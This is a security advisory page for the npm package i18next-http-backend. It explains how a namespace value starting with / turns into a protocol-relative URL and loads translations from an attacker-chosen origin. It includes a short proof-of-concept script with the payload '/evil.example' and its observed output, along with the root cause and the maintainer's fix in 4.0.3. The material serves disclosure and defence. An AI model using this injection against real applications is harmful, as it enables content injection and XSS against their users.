GHSA-9JHJ-WVMW-CFX5

Vulnerability from github – Published: 2026-10-28 21:07 – Updated: 2026-10-28 21:07
VLAI
Summary
i18next-http-backend: Namespace value starting with / forms a protocol-relative URL when loadPath/addPath places {{ns}} right after a / (bypass of the // check added for GHSA-xvq9-wjp8-hwqf)
Details

Affected versions

Verified on 4.0.2 (latest on npm) and on commit 07e0288 (the GHSA-xvq9-wjp8-hwqf fix). Earlier 3.x/4.x versions that allow / in ns are likely affected too. Not verified on them.

Impact

Same class as GHSA-xvq9-wjp8-hwqf and GHSA-q89c-q3h5-w34g: when an attacker controls the namespace value, the request goes to an attacker-chosen origin. In a browser this loads attacker-controlled translation JSON (content injection into the UI, and XSS where translations are rendered as HTML). The precondition is a template with {{ns}} right after a leading /, for example /{{ns}}/{{lng}}.json. The 4.0.2 maintainer note says templates with a leading / are safe. This case is outside that statement.

Root cause

isSafeNsUrlSegment rejects any ns containing //, but allows a single leading / (needed for nested namespaces like a/b). Interpolation into /{{ns}}/... puts the template's own / next to the value's /. The result starts with //, which is a protocol-relative URL. The check runs on the value, not on the final URL.

Minimal PoC

import Backend from 'i18next-http-backend'
const b = new Backend(null, { loadPath: '/{{ns}}/{{lng}}.json',
  request: (opts, url, payload, cb) => { console.log(url, '->', new URL(url, 'https://app.example/').origin); cb(null, { status: 200, data: '{}' }) } })
b.read('en', '/evil.example', () => {})

Observed on 4.0.2:

POC ns=/evil.example  loadPath=/{{ns}}/{{lng}}.json => url=//evil.example/en.json  origin in page https://app.example/ = https://evil.example

Negative controls (same run)

  • ns //evil.example: rejected ("unsafe lng/ns value").
  • lng http:127.0.0.1:9 (the GHSA-xvq9 payload): rejected.
  • ns common and nested ns a/b: common/en.json and a/b/en.json, same origin.

Suggested fix

Validate the final interpolated URL, not just the values: reject it if it starts with // or \, or if it has a scheme or host the template did not have. The advisory already recommends this ("parse the final URL and require it to remain within the intended origin and path"). Alternatively, reject an ns that starts with /.

Disclosure

We intend to keep this private for 90 days from the date of the report, or until a fixed release is available, whichever comes first, and are happy to adjust if you need more time.

Re-verification

Re-run on 2026-10-14 against the same latest release. The PoC still reproduces and the negative controls still hold.

Reported by Zachariah Mithani.

Maintainer note

Confirmed and fixed in 4.0.3 (commit i18next/i18next-http-backend@042c3d4).

Preconditions. The loadPath / addPath template must put {{ns}} directly after a leading / (for example /{{ns}}/{{lng}}.json), and the attacker must control the namespace value. Applications usually set namespaces in code rather than from user input. The default /locales/{{lng}}/{{ns}}.json, templates with an origin, and templates with a fixed path segment before {{ns}} are not affected. Only browsers are affected: in Node, fetch('//host/...') fails because there is no base URL to resolve against. XSS additionally requires the application to render translations as HTML.

Fix. The 4.0.2 // check looked at each value on its own and could not see the / the template puts in front of it. interpolateUrl now also checks the interpolated URL: it may only start with // or \ if the template itself does. Protocol-relative CDN templates such as //cdn.example/{{lng}}/{{ns}}.json keep working.

Affected range. Versions before 3.0.5 had no value validation at all and are reachable through this vector too, so the affected range is < 4.0.3.

Related. i18next-fs-backend had the same class of problem for file paths (a leading / in ns, or C: in lng, changing the root of a path built from a template that starts with the placeholder). It is fixed in i18next-fs-backend 2.6.9.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "i18next-http-backend"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.0.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-115730"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-74"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-28T21:07:57Z",
    "nvd_published_at": null,
    "severity": "LOW"
  },
  "details": "## Affected versions\nVerified on 4.0.2 (latest on npm) and on commit 07e0288 (the GHSA-xvq9-wjp8-hwqf fix). Earlier 3.x/4.x versions that allow `/` in ns are likely affected too. Not verified on them.\n\n## Impact\nSame class as GHSA-xvq9-wjp8-hwqf and GHSA-q89c-q3h5-w34g: when an attacker controls the namespace value, the request goes to an attacker-chosen origin. In a browser this loads attacker-controlled translation JSON (content injection into the UI, and XSS where translations are rendered as HTML). The precondition is a template with `{{ns}}` right after a leading `/`, for example `/{{ns}}/{{lng}}.json`. The 4.0.2 maintainer note says templates with a leading `/` are safe. This case is outside that statement.\n\n## Root cause\n`isSafeNsUrlSegment` rejects any ns containing `//`, but allows a single leading `/` (needed for nested namespaces like `a/b`). Interpolation into `/{{ns}}/...` puts the template\u0027s own `/` next to the value\u0027s `/`. The result starts with `//`, which is a protocol-relative URL. The check runs on the value, not on the final URL.\n\n## Minimal PoC\n```js\nimport Backend from \u0027i18next-http-backend\u0027\nconst b = new Backend(null, { loadPath: \u0027/{{ns}}/{{lng}}.json\u0027,\n  request: (opts, url, payload, cb) =\u003e { console.log(url, \u0027-\u003e\u0027, new URL(url, \u0027https://app.example/\u0027).origin); cb(null, { status: 200, data: \u0027{}\u0027 }) } })\nb.read(\u0027en\u0027, \u0027/evil.example\u0027, () =\u003e {})\n```\nObserved on 4.0.2:\n```\nPOC ns=/evil.example  loadPath=/{{ns}}/{{lng}}.json =\u003e url=//evil.example/en.json  origin in page https://app.example/ = https://evil.example\n```\n\n## Negative controls (same run)\n- ns `//evil.example`: rejected (\"unsafe lng/ns value\").\n- lng `http:127.0.0.1:9` (the GHSA-xvq9 payload): rejected.\n- ns `common` and nested ns `a/b`: `common/en.json` and `a/b/en.json`, same origin.\n\n## Suggested fix\nValidate the final interpolated URL, not just the values: reject it if it starts with `//` or `\\`, or if it has a scheme or host the template did not have. The advisory already recommends this (\"parse the final URL and require it to remain within the intended origin and path\"). Alternatively, reject an ns that starts with `/`.\n\n## Disclosure\nWe intend to keep this private for 90 days from the date of the report, or until a fixed release is available, whichever comes first, and are happy to adjust if you need more time.\n\n## Re-verification\nRe-run on 2026-10-14 against the same latest release. The PoC still reproduces and the negative controls still hold.\n\nReported by Zachariah Mithani.\n\n## Maintainer note\n\nConfirmed and fixed in 4.0.3 (commit i18next/i18next-http-backend@042c3d4).\n\n**Preconditions.** The `loadPath` / `addPath` template must put `{{ns}}` directly after a leading `/` (for example `/{{ns}}/{{lng}}.json`), and the attacker must control the namespace value. Applications usually set namespaces in code rather than from user input. The default `/locales/{{lng}}/{{ns}}.json`, templates with an origin, and templates with a fixed path segment before `{{ns}}` are not affected. Only browsers are affected: in Node, `fetch(\u0027//host/...\u0027)` fails because there is no base URL to resolve against. XSS additionally requires the application to render translations as HTML.\n\n**Fix.** The 4.0.2 `//` check looked at each value on its own and could not see the `/` the template puts in front of it. `interpolateUrl` now also checks the interpolated URL: it may only start with `//` or `\\` if the template itself does. Protocol-relative CDN templates such as `//cdn.example/{{lng}}/{{ns}}.json` keep working.\n\n**Affected range.** Versions before 3.0.5 had no value validation at all and are reachable through this vector too, so the affected range is `\u003c 4.0.3`.\n\n**Related.** i18next-fs-backend had the same class of problem for file paths (a leading `/` in `ns`, or `C:` in `lng`, changing the root of a path built from a template that starts with the placeholder). It is fixed in i18next-fs-backend 2.6.9.",
  "id": "GHSA-9jhj-wvmw-cfx5",
  "modified": "2026-10-28T21:07:57Z",
  "published": "2026-10-28T21:07:57Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/i18next/i18next-http-backend/security/advisories/GHSA-9jhj-wvmw-cfx5"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-115730"
    },
    {
      "type": "WEB",
      "url": "https://github.com/i18next/i18next-http-backend/commit/042c3d4e4e9d73b2ae3aa76b22cb45d48f1e35b7"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/i18next/i18next-http-backend"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/i18next-http-backend-4.0.2-protocol-relative-url-injection-via-namespace-in-interpolateurl"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "i18next-http-backend: Namespace value starting with / forms a protocol-relative URL when loadPath/addPath places {{ns}} right after a / (bypass of the // check added for GHSA-xvq9-wjp8-hwqf)"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline

Sightings and recorded dates, grouped by day · UTC

JSON
Events included in the timeline

Loading timeline…


    Loading…

    Loading…

    Loading…

    Related by attack behaviour

    Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.